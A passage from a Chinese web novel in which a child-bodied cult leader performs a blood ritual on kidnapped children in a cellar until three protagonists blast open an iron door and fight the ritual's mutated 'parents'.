那些人一个个面无表情,眼神空洞,行动间带着一种诡异的僵硬和呆滞,宛如一群没有灵魂的行尸走肉。 若不是他们脸上还残留着属于人类的复杂情绪—— 悲伤、绝望、麻木,甚至还有一丝病态的期待与狂热。 袁广几乎会误以为自己看到了传说中的活死人。 韩牧川领着那群“父母”,不紧不慢地走到了他们这些被捆绑的孩子面前。 他走到一个昏迷不醒的“孩子”面前,伸出穿着小皮鞋的脚,随意地踢了踢对方。 见对方宛如死尸一动不动,他随即又走向下一个。 很快,韩牧川便来到了袁广面前。 袁广的心瞬间提到了嗓子眼,他强迫自己放松身体,呼吸放缓,继续装死。 韩牧川却在他面前蹲了下来,那双纯黑的眼珠,此刻闪烁着令人不寒而栗的恶意。 他伸出细嫩的小手,轻轻拍了拍袁广的脸颊,嘴角勾起一抹冰冷的笑容。 “我知道你醒了。” 韩牧川的声音稚嫩清脆,却带着一种洞悉一切的笃定和毫不掩饰的戏谑。 袁广的心脏骤然一缩,但他依旧不敢动弹。 “不过别担心。”韩牧川脸上的笑容愈发诡异,“很快,你就会解脱了。” 他凑近袁广的耳朵,用如同恶魔低语般的语气,轻飘飘地说道:“我已经给你找了个好母亲,她会很疼你的。” “轰——” 这句话如同晴天霹雳,在袁广脑中炸开。 他只觉得一股寒气从脚底板直冲天灵盖,浑身的血液都仿佛凝固了。 他想尖叫,想挣扎,想逃离这个可怕的地方。 但他仅存的理智告诉他,现在动,只会死得更快。 尽管他极力控制,但那剧烈颤抖的眼皮,还是无情地出卖了他内心的恐惧。 “呵呵……” 韩牧川看着袁广那副惊恐万状却又强作镇定的模样,发出一声愉悦的轻笑。 他站起身,居高临下地扫视了一圈地上这些“祭品”,脸上露出了满意的神色。 随即,他转过身。 对着身后那群神情麻木的“父母”们,用一种不容置喙的命令口吻说道: “好了,把他们都抬到‘圣咒’下面去。” “圣祭……很快就要开始了。” 第73章 第 73 章 失落的小孩14 地窖内, 昏黄的烛光摇曳不定,将一道道扭曲的影子投射在湿漉漉的土壁上。 那些被韩牧川带来的“父母”们,动作僵硬地将一个个被捆绑结实的“孩子”抬了起来。 “唔……放开我!” “这是哪里?你们要干什么!” 陆续有孩子从昏迷中转醒。 看清眼前的景象, 和自己被五花大绑的处境,他们立时爆发出惊恐的尖叫和剧烈的挣扎。 哭喊声,求饶声, 咒骂声,一时间充斥着整个地窖,却无法撼动那些“父母”分毫。 他们脸上, 依旧是那种麻木中, 夹杂着狂热期待的诡异神情, 仿佛听不见任何声音。 刘芳小心翼翼地抱起萧红,动作轻柔得仿佛在对待一件稀世珍宝。 萧红眼皮剧烈地颤抖了几下, 猛地睁开了眼睛。 当她看清刘芳那张既熟悉又陌生的脸时,瞳孔骤然收缩,喉咙里发出一声压抑的抽气,恐惧如同潮水般将她淹没。 “乖女儿, 别怕, 别怕。” 刘芳用脸颊轻轻蹭着萧红冰凉的额头, 声音沙哑而温柔, 带着一种令人毛骨悚然的慈爱。 “很快就好了,一会儿妈妈就能和你永远在一起了, 再也不会分开了。” “不……我不是你女儿!放开我!求求你放开我!” 萧红用尽全身力气挣扎着,泪水不受控制地夺眶而出, 声音凄厉而绝望。 但刘芳抱得更紧了。 她像是没有听到萧红的哭喊,只是自顾自地呢喃着:“小宝最乖了,不会离开妈妈的, 对不对?” 她脸上甚至露出一丝满足的微笑,仿佛怀中的挣扎只是女儿的撒娇。 另一边,袁广被王彦宏和陶玉芝一左一右地架着,拖向地窖深处那扇巨大的铁门。 陶玉芝低头看着袁广那张沾满泥污的脸,眉头几不可察地蹙了一下,随即又松开,语气生硬地开口:“小远,别乱动。” 她显然还是更喜欢宿珩那张漂亮干净的脸蛋,眼前这个“小远”,让她有些难以接受。 袁广原本还在强作镇定。 但听到陶玉芝这声不带丝毫感情的“小远”,又看到不远处韩牧川那张挂着得意笑容的小脸,他胸中的怒火与屈辱再也压抑不住。 他猛地抬起头,不再装晕,对着韩牧川怒声骂道:“你个狗娘养的□□崽子!有种放了老子,看老子不弄死你!” 韩牧川闻言,不仅没有生气,反而对着袁广露出了一个更加灿烂的笑容。 那笑容纯真无邪,却看得袁广遍体生寒。 袁广还想再骂,王彦宏却突然扬起手,狠狠一巴掌甩在了他的脸上。 “啪!” 清脆的耳光声在地窖中回荡。 王彦宏面沉如水,眼神阴鸷地盯着袁广,声音低沉而压抑:“小远是个乖孩子,不准这么粗鲁!” 话音刚落。 陶玉芝便眼疾手快地从口袋里掏出一块揉得皱巴巴的手帕,用力塞进了袁广的嘴里,堵住了他所有未出口的咒骂。 袁广“呜呜”地挣扎着,双眼赤红。 片刻之后。 包括萧红和袁广在内的十三个“孩子”,都被抬到了那扇巨大铁门之下。 他们被那些“父母”粗暴地调整着姿势,像摆弄没有生命的玩偶,最终都维持着双膝跪地的姿态,面朝铁门,围成了一个不甚规整的圆圈。 紧接着—— 那十三个神情麻木的“父母”,也一一走到了自己“认领”的孩童身后。 同样面向铁门,在孩子们身后,围成了一个更大的同心圆。 整个场面透着一股难以言喻的诡异与压抑。 韩牧川满意地看着眼前的景象。 他从怀里掏出一个巴掌大小,通体漆黑,不知由何种材质制成的小瓶子。 他先将瓶子递给了站在最外圈的王彦宏,用稚嫩的声音吩咐道: “从你开始,按照顺序,每个人,割破自己‘孩子’的右手食指,滴一滴血进去。” “然后,再割破自己的手指,也滴一滴进去……快点,别磨蹭。” 王彦宏接过小瓶,没有丝毫犹豫,从腰间摸出一把锋利的小刀。 他走到被陶玉芝按住的袁广面前,粗暴地抓住袁广的右手,冰冷的刀锋在袁广食指指尖轻轻一划。 “唔!” 袁广痛得闷哼一声,鲜红的血液立刻涌了出来。 王彦宏面无表情地将袁广的手指凑到黑色小瓶口,挤了一滴血进去。 随后,他又毫不迟疑地在自己的食指上也划了一刀,将自己的血也滴入瓶中。 做完这一切,他将小刀和瓶子递给了身旁另一个人。 那人也机械地重复着同样的动作。 仪式在沉默而诡异的氛围中进行着。 每一个“父母”都面无表情地重复着同样的动作,割开“孩子”的手指,再割开自己的手指,将两者的血液汇入那只黑色的小瓶。 孩子们或强忍疼痛,或低声啜泣,或因恐惧而失神。 但都被“父母”们无情地压制着,他们的反抗显得那么微不足道。 很快,瓶子传到了韩牧川手中。 他也伸出自己细嫩的右手食指,用那把沾染了多人血液的小刀,在自己指尖轻轻一划,将一滴鲜血滴入了瓶中。 此刻,那只黑色的小瓶里,已经装了小半瓶颜色暗沉,散发着淡淡腥气的混合血液。 韩牧川晃了晃手中的血瓶,脸上露出了满意的笑容。 他不知从哪里又摸出了一根约莫一指长的,顶端带着一簇柔软羽毛的细长骨笔。 他走到那扇巨大的铁门前,将骨笔的羽毛端浸入血瓶之中,蘸取了那粘稠的血液。 然后,他抬起头,开始沿着铁门上那些早已存在的,扭曲缠绕的暗红色符咒轮廓,一点一点地重新描绘。 他描得很仔细,神情专注,仿佛在完成一件神圣而伟大的艺术品。 可惜,他现在这具孩童的身体实在太矮了,即便踮起脚尖,也只能勉强够到铁门下半部分的符咒。 “王彦宏。” 韩牧川头也不回地喊了一声。 王彦宏立刻走了过来,像个忠实的仆从。 “让我站到你肩膀上去。”韩牧川命令道。 王彦宏没有任何异议,他弯下腰,让韩牧川踩着他的背,轻松地爬到了他的肩膀上。 韩牧川稳稳地站在王彦宏肩上,继续用那根羽毛骨笔蘸着血液,一丝不苟地描绘着铁门上部那些更加复杂诡异的图案。 血液顺着纹路流淌,让那些古老的符号重新焕发生机。 时间一分一秒地过去。 地窖内的气氛愈发压抑,只有韩牧川描绘符咒时,骨笔笔尖划过粗糙铁门发出的轻微“沙沙”声,以及孩子们被压抑的啜泣声和粗重的呼吸声。 终于。 当最后一笔落下,韩牧川将那根羽毛笔和剩下的血瓶小心翼翼地塞回怀中。 他站在王彦宏的肩膀上,居高临下地看着那扇布满了新鲜血色符咒的铁门,脸上绽放出喜悦而狂热的笑容。 “大功告成!” 他清脆的声音在地窖中回荡,带着一丝孩童特有的尖细,却又透着与年龄不符的阴冷与得意。 几乎就在他话音落下的瞬间—— 铁门上那些刚刚被血液重新描绘过的“圣咒”,仿佛吸收了足够的养分,猛地“活”了过来! 暗红色的血迹如同拥有了生命般,开始在铁门表面缓缓蠕动,散发出妖异的光芒。 一道道微弱的红光从符咒的纹路中渗透出来,起初还很黯淡,但很快便越来越亮,越来越盛。 韩牧川闭上眼睛,深深地吸了一口气,脸上露出了陶醉的神情。 他能清晰地感受到,一股熟悉而强大的力量正在从心门深处涌出,其中夹杂着他梦寐以求的,属于无限世界的规则碎片! 与此同时—— 那越来越明亮的红光,仿佛受到了某种无形的牵引,化作一道道细长的红色光带,如同活物般扭动着,分别射向跪在地上的十三个“祭品”和他们身后的“父母”身上,最终没入他们的身体。 “啊——!” “呜……” 被红光连接的“祭品”们,不约而同地发出了凄厉的惨叫和痛苦的呻吟。 他们的身体剧烈地颤抖起来,脸上布满了极致的惊恐与绝望。 而那些“父母”们,身体也同样在颤抖。 他们的脸上,除了被红光刺激出的惊慌之外…… 更多的,却是一种病态的渴望与狂热的期待。 他们的眼神死死地盯着自己面前的“孩子”。 仿佛下一刻,就能看到奇迹发生。 …… 跪在地上的“孩子们”,面孔在红光的映照下,开始发生着细微而诡异的变化。 渐渐的—— 那些稚嫩的五官轮廓,竟真的朝着他们各自“父母”朝思暮想中的那张脸缓缓重叠。 陶玉芝死死盯着面前的袁广,眼中布满了血丝,呼吸粗重。 袁广那张沾满泥污的脸,在他眼中,正一点点变得模糊。 取而代之的,是他日夜期盼的那张属于“小远”的脸。 另一边,刘芳更是激动得浑身颤抖。 她怀中的萧红,那张原本已经和小宝有八成近似的脸,此刻慢慢扭曲变形,迅速和她记忆中的那张脸变得一模一样。 但好景不长。 就在那些“父母”眼中即将迸发出狂喜的瞬间—— 那扇巨大的铁门,毫无征兆地发出一声沉闷的轰鸣! 连接着众人身体的红光,也随之剧烈地闪烁了一下,险些溃散。 韩牧川脸上的得意笑容猛地一僵,眼皮控制不住地跳了跳,狐疑地朝着铁门方向望了过去。 还不等他看清楚什么。 下一秒,铁门之后,再次响起一声更加震耳欲聋的巨响! 这一次,像是沉闷的爆炸! 连接着所有人的红光,骤然停滞,然后彻底熄灭了下去! 那些正在转变中的孩童面孔,也瞬间凝固,定格在当前的模样。 被强行扭曲的五官骤然停止,带来一阵阵细密的刺痛,让他们不约而同发出痛苦的呻/吟。 “啊——我的小远!” 陶玉芝发出一声痛苦的嘶吼,眼睁睁看着即将成型的“小远”只差最后一步。 “小宝!我的小宝!” 刘芳也凄厉地尖叫起来,脸上的期待瞬间化为绝望,抱着尚未完全变成小宝的萧红,哭得撕心裂肺。 这突如其来的变故,让地窖内所有人都愣住了。 不止是韩牧川。 就连那些情绪近乎崩溃的“父母”们,以及那些在痛苦中煎熬的“孩子们”,此刻都下意识地将目光投向了那扇铁门。 韩牧川的脸色瞬间阴沉下来,那张漂亮的脸蛋因为愤怒而微微扭曲。 他下意识地朝着铁门凑近了几步,皱着眉头,想看清楚究竟发生了什么。 在刚才那声剧烈的爆炸声响过后,那扇原本坚不可摧的厚重铁门,此刻表面竟然出现了肉眼可见的扭曲凹陷。 他心中当即升起一股强烈的不妙预感。 紧接着,铁门当着他的面,毫无预兆地接连剧烈颤动了三四次! 每一次颤动,都比上一次更加猛烈! 下一秒,那扇巨大的铁门猛地向内凹陷,表面的扭曲变形瞬间扩大到了极致—— 然后,在一声刺耳的金属撕裂声中,轰然向内横飞了出去! “轰——!” 沉重的铁门几乎是贴着韩牧川的头顶呼啸而过,带着一股灼热的气浪,重重地砸在他身后不远处的泥地上,激起一片呛人的尘土。 韩牧川脸色阴沉得几乎能滴出水来。 他死死地盯着那洞开的门洞。 那里正弥漫着浓呛的黑烟,还有未曾完全散去的点点火光。 烟与火之后,一道挺拔的身影,缓缓收回了一条腿。 韩牧川似乎完全没有料到,竟然会有人找到这个隐秘的祭坛。 更没想到对方会用如此粗暴的方式破门而入! 他精心策划的一切,就这么被打断了! 他咬牙切齿,从牙缝里挤出三个字:“肖!靳!言!” 肖靳言挑了挑眉,掸了掸裤腿上沾上的灰。 那张英俊却略显稚嫩的脸上,露出一丝毫不掩饰的戏谑与嘲弄。 他懒洋洋地开口,声音不大,却清晰地传遍地窖:“这么巧,又见面了?” 韩牧川怒目而视,眼睁睁看着肖靳言迈开脚步,不紧不慢地从那黑漆漆的门洞后走了出来。 在他身旁,宿珩正微微蹙着眉,有些嫌弃地捂着口鼻,显然是被那股浓烟呛得不轻。 再旁边,则是挺直了小胸膛,带着一脸“我家老大最厉害”骄傲神情的闫知许。 …… 其实,最先意识到衣柜下方那个土坑深处的铁门,有古怪的,是宿珩。 从闫知许口中传递的消息,他始终不理解,那些异化失败的“小远”残影,为什么会执着地阻止他靠近那扇铁门。 在一扇心门的世界里—— 一扇被刻意守护,又显得格格不入的门,本身就充满了疑点。 但这扇铁门异常坚固,以肖靳言如今这具孩童的身体,即便他力量远超常人,想要强行踹开,也几乎是不可能的事情。 所以,他们换了个思路。 趁着王彦宏和陶玉芝出门的间隙,肖靳言从他们家厨房里,轻轻松松地扛出来一个半人高的液化气铁罐。 那画面,让宿珩和闫知许都看得眼角抽了抽。 三人重新通过主卧衣柜的暗道,下到了那个幽深的土坑之中。 肖靳言从口袋里摸出从厨房顺手牵羊来的打火机,熟练地拧开了燃气罐的阀门,对着那扇紧闭的铁门,将阀口对准。 等宿珩和闫知许退到安全距离后,他将打火机点燃,随手一丢。 “轰隆——!” 剧烈的爆炸声,几乎震塌了半个土坑。 那扇坚固的铁门,在燃气罐爆炸的巨大冲击力下,终于被撼动了。 借此机会,肖靳言上前,毫不客气地补上了两脚,这才将那扇已然变形的铁门彻底踹开。 没想到。 貌似阴差阳错,毁了某人的“好事”? 看着韩牧川一脸吃瘪的表情,肖靳言嘴角勾了勾,心情颇为愉悦。 第74章 第 74 章 失落的小孩15 地窖内, 尘土尚未完全落定,韩牧川那张漂亮的小脸已然铁青。 他死死盯着门口那三个不速之客,尤其是好整以暇掸着裤腿的肖靳言, 牙齿咬得咯咯作响。 “你们……竟敢毁了我的圣祭!” 他嗓音依旧是孩童的清脆,却像淬了冰渣,尖锐得刺人耳膜。 韩牧川胸膛起伏, 竭力压下内心翻涌的怒火。 他猛地转过身,面向那些因仪式中断而陷入呆滞和绝望的父母们,声音陡然拔高, 带着蛊惑人心的悲愤。 “你们都看到了!” “本来只差一步!只差一步, 你们的孩子就能回来了!” 他伸出手指, 直直指向肖靳言三人。 “是他们!” “是他们毁了这一切!” 此言一出,如同在滚油中投入了冰块, 油锅沸腾。 那十几个父母呆滞的眼神瞬间被点燃,绝望迅速扭曲成了浓烈的憎恨。 他们齐刷刷地转头,死死盯住宿珩、肖靳言和闫知许三人,仿佛要将他们生吞活剥。 “我的小远……我的小远……” 陶玉芝喃喃着, 脸上的肌肉开始不正常地抽搐。 她的皮肤下仿佛有无数细筋暴起, 撑得皮肤青筋毕露, 十指的指甲也肉眼可见地变长、变黑, 闪烁着金属般的冷光。 王彦宏更是发出一声野兽般的低吼,他的身体以一种诡异的姿态佝偻下去, 双臂不自然地垂落,骨节“咔咔”作响, 肩膀似乎也宽厚了不少,浑身散发出暴戾的气息。 “小宝……我的小宝……” 刘芳的哭声戛然而止,取而代之的是一种令人心悸的尖啸。 她的头发根根倒竖, 双眼完全变成了血红色,嘴角裂开一个夸张的弧度,露出的牙齿变得尖利细密。 “都怪你们!都怪你们!我的小宝明明已经回来了!” 她第一个扑了上来,枯瘦的手臂此刻却充满了爆炸性的力量,指甲如钩,直取离她最近的宿珩面门。 有她带头,其余那些已经不成人形的父母们也嘶吼着,疯了一般地涌了上来。 有的皮肤变得如树皮般粗糙坚硬,有的口中喷出腥臭的黑气,有的四肢着地,行动迅捷如森*晚*整*理捕食的野兽。 首次面对如此多异化到近乎怪物的“父母”,饶是肖靳言也不由得低啧了一声。 他手腕一翻,那柄黑色短刀无声滑入掌心,寒光一闪。 “小心点!” 宿珩面色冷凝,目光快速扫过地上,俯身捡起一根半米多长的铁质门栓。 那是刚才铁门被炸飞时掉落的,入手沉甸甸的,长度和重量都刚好。 闫知许则是急忙四顾,一眼瞥见角落里斜靠着一柄手臂长短的小铁锤,连忙抓了过来,锤头虽小,但也是铁家伙。 三人迅速背靠着破烂的门洞,形成一个简易的三角防御阵型。 刘芳的利爪已到眼前,带着一股浓烈的腥风。 宿珩眼神一凛,不退反进,手中铁门栓自下而上猛地一撩。 “铛!” 铁门栓精准地格挡在刘芳的手腕处,沉重的力道带起一片模糊的残影。 刘芳眼中,只觉一道黑影迅猛迎上,一股巨力从手腕处传来,让她攻势一滞,手腕剧痛,仿佛骨头都要裂开。 她尖啸一声,踉跄着退了两步。 几乎同时,王彦宏那蒲扇般的大手已经带着呼啸的风声拍向肖靳言的头顶。 肖靳言身形一矮,险之又险地避开这势大力沉的一击。 他脚尖点地,身体如鬼魅般绕到王彦宏身侧,手中短刀划出一道冰冷的弧线。 “唰!” 黑色的刀光如同暗夜里最毒的蛇信,一闪而逝。 王彦宏只觉手臂一凉,低头看时,一道深可见骨的伤口已然出现,鲜血瞬间涌出。 他吃痛怒吼,动作却明显迟滞了一瞬。 逼退王彦宏后,肖靳言再反手一刀逼退试图从侧面偷袭的陶玉芝。 肖靳言眼神沉静,短刀在他手中无比灵活。 刀锋与陶玉芝尖利的指甲碰撞,发出一连串“叮叮当当”的脆响。 每一次碰撞,都溅起点点火星,陶玉芝眼中闪过一丝惊恐。 她异化后的指甲堪比钢铁,竟被这小孩手中的短刀磕出了缺口。 几个回合下来,陶玉芝手臂上已添了数道血痕,吃痛之下,攻势稍缓。 另一边,闫知许独自对上一个皮肤硬化如石的男人,男人正挥舞着粗壮的手臂砸来。 闫知许脸色沉重,挥舞着手中的小铁锤,精准地砸在男人的膝盖侧面。 那男人眼中,只见一个小小的黑影乱晃,根本没放在心上,谁知膝盖处突然传来一阵钻心的剧痛,让他惨叫一声,单膝跪了下去,暂时失去了行动力。 毕竟是资深清理师,他的战斗经验比起宿珩来,要丰富不少。 趁机,闫知许继续补刀,专挑男人相对脆弱的关节处抡下铁锤。 战斗陷入一种短暂的胶着。 这些异化的父母虽然失去了理智,只剩下本能的攻击欲望,但他们毕竟曾经是普通人,战斗技巧几乎为零。 肖靳言三人虽然是孩童身体,但战斗经验和技巧远非他们可比。 肖靳言如同一道黑色的闪电,在人群中穿梭。 短刀每一次出手,都精准地落在异化者的关节或非要害处,只求将其击伤,令其暂时失去战斗力。 宿珩则沉稳得多,他利用铁门栓的长度优势,一挡一扫,逼得那群异化者连连后退。 地窖内,一时间只剩下兵器的碰撞声和异化者的嘶吼声。 韩牧川站在不远处,双臂抱胸,冷眼旁观着这一切。 他那张稚嫩的小脸上,没有丝毫担忧,反而带着一丝玩味的笑容,似乎很享受眼前这场混乱的闹剧。 当最后一个异化者被肖靳言一脚踹翻在地,暂时爬不起来时,地窖内终于安静了片刻。 十几个异化的父母横七竖八地倒在地上,虽然都受了伤,但并无性命之忧,只是一个个都暂时失去了行动能力,只能发出不甘的呜咽和嘶吼。 肖靳言微微喘着气,甩了甩短刀上的血迹。 宿珩额角也渗出了细密的汗珠,握着铁门栓的手指微微泛白。 闫知许更是累得一屁股坐在地上,呼哧呼哧地喘着粗气,小脸煞白。 韩牧川脸上的笑容不变,反而轻轻鼓了鼓掌:“不愧是肖处长,果然厉害。” 他迈着小步子,悠然地走到那扇被踹飞的铁门旁边,伸出小手,轻轻抚摸着门上那些被鲜血重新描绘过的圣咒,眼神中闪过一丝惋惜。 “虽然有点可惜……” 他叹了口气,语气却听不出多少真正的遗憾,“不过,没关系。” 韩牧川转过头,那双纯黑的眼珠幽幽地看着三人,嘴角笑容愈发诡异。 “好戏,才刚刚开始呢。” 话音刚落。 地窖内死一般的寂静,被韩牧川那双小皮鞋踩在碎石上的轻微声响所打破。 他踱步到那些因仪式中断而痛苦呻吟的“祭品”面前。 袁广和萧红等人虽然暂时脱离了被强行扭曲的痛苦,但脸上依旧布满恐惧和虚弱。 韩牧川居高临下地看着他们,像是在欣赏自己的杰作。 肖靳言眸色一沉,握紧了手中的短刀,冷声道:“你还想耍什么花样?” 韩牧川转过头,冲着肖靳言露齿一笑,那笑容天真烂漫,眼神却冰冷刺骨。 “花样?” “不,我只是想让你们更深刻地理解一下,什么叫做绝望。” 他伸出小手,指向地上那些暂时失去行动能力的异化父母。 “你们以为暂时打倒了他们,事情就结束了?” 韩牧川摇了摇手指,语气带着一丝轻蔑:“他们只是工具,可怜又可悲的工具。” “真正的好戏,是让他们心甘情愿地沉沦这份绝望里,永不超生。” 宿珩一直沉默地观察着韩牧川,此刻终于开口:“你收集这些绝望,无限世界就能重塑了吗?” 韩牧川闻言,看向宿珩的眼神里多了一丝奇异的光彩,仿佛找到了知音一般。 他哼笑了声,说道:“你没有经历过,自然不知道,无限世界才是真正的乐园。不像这个现实世界,充满了虚伪的道德和无聊的规则。” 他摊开双手,语气带着几分狂热:“在那里,力量才是一切!欲望可以无限放大!那才是生命该有的姿态!” 闫知许听得毛骨悚然,忍不住反驳:“你在放屁,那是个充满痛苦和扭曲的地方!” 韩牧川瞥了他一眼,眼神轻蔑得像是在看一只蝼蚁。 “你这种想法,只是弱者的哀鸣罢了,只有强者,才能在无限世界里享受真正的自由。” 他再次将目光投向宿珩,嘴角勾起一抹意味深长的笑。 “有兴趣加入‘筑梦人’吗?我能感受到你的与众不同,像你这样特别的存在,待在现实世界,实在是太屈才了。” 肖靳言上前一步,将宿珩不动声色地挡在身后半步,眸光黑沉,冷嗤道:“别白费心思了,他已经是我的人了,奉劝你,收起那些没必要的蛊惑。” 听到那句“我的人”,宿珩不由侧目瞥了肖靳言一眼。 韩牧川却耸了耸肩,故作无辜:“我只是实话实说而已,肖处长,你难道不想知道,我从他身上感受到了什么?” 肖靳言很干脆地拒绝,“我不想知道。” 韩牧川被噎了一下。 他顿了顿,似乎仍在尝试吊起肖靳言的胃口,慢悠悠地说道:“他身上,有我非常熟悉,也非常渴望的……‘味道’。” 此话一出,肖靳言周身的气息骤然变得危险起来。 宿珩的眉头也几不可察地蹙了一下。 韩牧川的话让他感到一种莫名的不适。 “好了,闲聊时间结束。” 韩牧川拍了拍手,脸上的笑容瞬间收敛,取而代之的是一片冰冷的漠然。 他打了个响指。 “啪。” 清脆的响指声在地窖中回荡。 随着这一声响指—— 那些原本倒在地上,因受伤而暂时失去行动能力的异化父母们,突然齐齐发出了一声痛苦而压抑的嘶吼。 他们的身体开始剧烈地抽搐,皮肤下的血管如同扭动的蚯蚓般凸起,青黑色的纹路迅速蔓延全身。 之前被肖靳言他们造成的伤口,竟然以肉眼可见的速度开始愈合,甚至连断裂的骨骼都发出了令人牙酸的“咔咔”声。 “这……” 闫知许看得目瞪口呆,手中的小铁锤差点掉在地上。 王彦宏第一个重新站了起来。 他原本佝偻的身体变得更加高大,双臂肌肉虬结,闪烁着金属般的光泽,口中发出低沉的咆哮,血红的眼睛死死锁定着肖靳言。 陶玉芝也紧随其后,她的指甲变得更长更尖,闪烁着幽幽的绿光,脸上那程序化的温柔笑容彻底消失,只剩下扭曲的疯狂。 刘芳和其他父母也纷纷异变得更加彻底,他们身上的伤势尽数恢复,而且气息比之前更加暴戾和强大。 “他们的气息……变了。” 宿珩低声自语。 他能清晰地感受到,这些异化父母身上的负面情绪,比之前浓烈了数倍不止。 韩牧川的声音再次响起,带着一丝戏谑的得意,“我只是帮他们,更彻底地拥抱了绝望而已。” 他指了指那扇被踹飞的铁门上依旧闪烁着微弱红光的“圣咒”。 “圣祭仪式虽然被打断,但咒印已成。这些父母内心的执念和绝望,已经被彻底激活,并且与这扇心门的核心连接了起来。” 韩牧川笑得像个恶作剧得逞的孩子。 “现在,他们就是这扇心门最忠实的守卫。只要他们心中的绝望不消,这扇心门就不会破,他们就是不死的。” 肖靳言的脸色沉了下来,冷声道:“世事无绝对。” “随便你怎么想……” 韩牧川拖长了语调,目光在宿珩和肖靳言之间来回逡巡。 “只要你们能让他们从这绝望中清醒过来……” “但……可能吗?” 他发出几声低低的嗤笑:“他们已经完全被自己的执念吞噬了。在他们眼里,你们,就是夺走他们孩子的凶手!” 话音刚落。 王彦宏已经怒吼着再次扑了上来,他的速度和力量,比之前至少提升了一倍有余! “小远!把我的小远还给我!” 他咆哮着,蒲扇般的大手带着撕裂空气的劲风,拍向肖靳言。 肖靳言眼神一凝,不敢怠慢,身形急退,同时短刀迅疾挥出,格挡住王彦宏的攻击。 “铛!” 这一回,巨大的力道震得肖靳言手臂微微发麻。 与此同时,陶玉芝和其他异化父母也如同潮水般再次涌了上来。 目标明确,就是他们三人。 “老大!” 闫知许惊呼一声,挥舞着小铁锤,勉强砸开一个扑向宿珩的异化者。 宿珩手持铁门栓,冷静地应对着刘芳的疯狂攻击。 刘芳此刻双眼赤红,口中不断尖啸着“小宝”,攻势比之前更加凶猛,也更加没有章法。 地窖内再次陷入混战。 但这一次,情况显然比之前更加棘手。 这些异化父母不仅伤势尽复,力量和速度也大幅提升。 而且似乎真的悍不畏死,即便被击中要害,也只是迟滞片刻,便会再次疯狂扑上。 肖靳言一边格挡着王彦宏和另外几个异化者的围攻,一边快速思考着对策。 硬拼显然不是办法,他们三人的体力迟早会被耗尽。 “韩牧川!” 肖靳言在格斗的间隙,厉声喝道,“这就是你的‘好戏’?驱使一群可怜人送死?” 韩牧川抱着双臂,好整以暇地站在一旁观战,闻言轻笑一声。 “不不不,我只是在给他们一个宣泄的出口而已……你看,他们现在多‘快乐’啊,终于可以为自己的‘孩子’报仇了。” 他的目光扫过被异化父母们围攻的三人,眼中闪过一丝玩味。 “肖处长,你不是很能打吗?让我看看,你能不能在这永无止境的围攻中,找到一线生机。” 宿珩在抵挡刘芳的攻击时,眼角的余光瞥见那些五花大绑的“孩子们”。 袁广、萧红他们虽然暂时安全,但脸上都充满了惊恐和绝望。 尤其是袁广,他正死死地盯着与王彦宏缠斗的肖靳言,以及被陶玉芝追击的宿珩,瞳孔近乎失去了焦距。 这些祭品,同样也是心门的一部分。 他们的情绪,同样也会影响心门的稳固。 宿珩心中一动,一个念头如电光火石般闪过。 “肖靳言!” 宿珩突然喊道,声音不大,却异常清晰,“他们的弱点,并不在他们自己身上!” 肖靳言闻言,手中动作一顿,询问道:“你想怎么做?” 宿珩抿了抿唇,“掩护我。” 肖靳言:“好!” 第75章 第 75 章 失落的小孩16 谁都没想到。 宿珩的目标居然是袁广。 王彦宏和陶玉芝见状, 眼中的血色愈发浓重,喉咙里发出野兽般的嘶吼,攻势陡然变得更加狂暴。 “不准碰我的小远!” 陶玉芝尖叫着, 指甲在空中划出数道惨绿的残影,疯了一般扑向肖靳言的后心。 王彦宏更是双臂猛地涨大了一圈,青筋虬结, 朝着肖靳言横扫而来,带起的劲风几乎要撕裂空气。 “宿珩!” 肖靳言不退反进,强行顶在最前面, 手中短刀翻飞, 将左右夹击的两个异化者逼退, 头也不回地低喝一声。 宿珩得了这个空隙,身形在几名异化者的围攻中灵活地穿梭。 他根本不与他们硬拼, 只是利用速度不断闪避,目标明确地朝着袁广的方向突进。 “袁广!” 宿珩的声音穿透混乱的嘶吼,清晰地传到袁广耳中。 “他们叫你小远,你真的是小远吗?你要告诉他们, 他们认错人了!” 被五花大绑的袁广早已吓得魂飞魄散, 浑身抖如筛糠。 此时他听到宿珩的喊声, 茫然地抬起头。 正好对上王彦宏那双充满血丝和疯狂占有欲的眼睛, 以及陶玉芝那张扭曲而“慈爱”的脸。 一种极致的恐惧攫住了他,让他浑身剧烈地颤抖起来。 “没用的……” 韩牧川站在不远处, 嘴角噙着一丝冰冷的笑意,“他们只认他们想认的, 你这是在白费力气,只会让他们更愤怒。” 他话音刚落。 仿佛是为了印证他的话,王彦宏和陶玉芝的攻击愈发狂暴, 似乎宿珩的每一句话都在刺激他们最敏感的神经。 “他就是小远!我的小远!” 陶玉芝尖声反驳,双目赤红,仿佛陷入了某种偏执的臆想。 宿珩在肖靳言和闫知许的掩护下,竟真的一时间没受到任何攻击。 趁此机会,他冷静地观察着王彦宏和陶玉芝的反应。 当他刚才的话语提及“小远”并非袁广时,那对夫妻的动作虽然更加疯狂。 其中夹杂的愤怒,似乎比纯粹的杀意更浓。 可是……他们真的是因为愤怒吗? 不是。 他们是害怕,害怕再次失去。 确切来说,是一种被戳破谎言后的恼羞成怒,以及害怕失去的恐慌。 “袁广!” 宿珩再次厉声喝道,“看着他们的眼睛!告诉他们,你不是小远!你不是他们的儿子!” 袁广被这一声喝惊得一个激灵。 他看着步步紧逼,面目狰狞的王彦宏和陶玉芝,求生的本能让他鼓起了所有的勇气。 他带着哭腔,用尽全身力气嘶喊道:“我不是……我不是小远!求求你们,放过我!救救我啊……妈——!” 最后那声“妈”,是他极度恐惧之下,脱口而出的无意识的呼救。 每个人在最急切的时候,最先脱口而出的,往往是“妈”。 像一个真正的孩童,带着最原始的绝望,和对母亲的依赖。 这个字,如同一根烧红的钢针,狠狠刺入陶玉芝的耳中。 陶玉芝那疯狂扑向肖靳言的身体,在半空中猛地一僵。 她脸上的狰狞和狂热出现了一瞬间的凝滞,那双血红的眼睛里,闪过一丝极其短暂的茫然和……痛苦。 她看着袁广那张和自己记忆中近乎吻合的脸。 明明就差一步,这张脸就会彻底变成自己朝思暮想的小远了…… 这微小的变化,虽然只有一刹那,却被肖靳言和宿珩敏锐地捕捉到了。 她有反应! 并不像韩牧川所说,完全被绝望侵蚀! 宿珩眼中掠过一抹决然。 他抓住这稍纵即逝的机会,一把抓住了捆绑袁广的绳索,用力一扯! 袁广的身体顿时被他从地上拉了起来,挡在了他和陶玉芝之间。 “小远!” 陶玉芝看到袁广,动作下意识地缓了一瞬,眼中是显而易见的犹豫和挣扎。 “看清楚!他不是你的小远!” 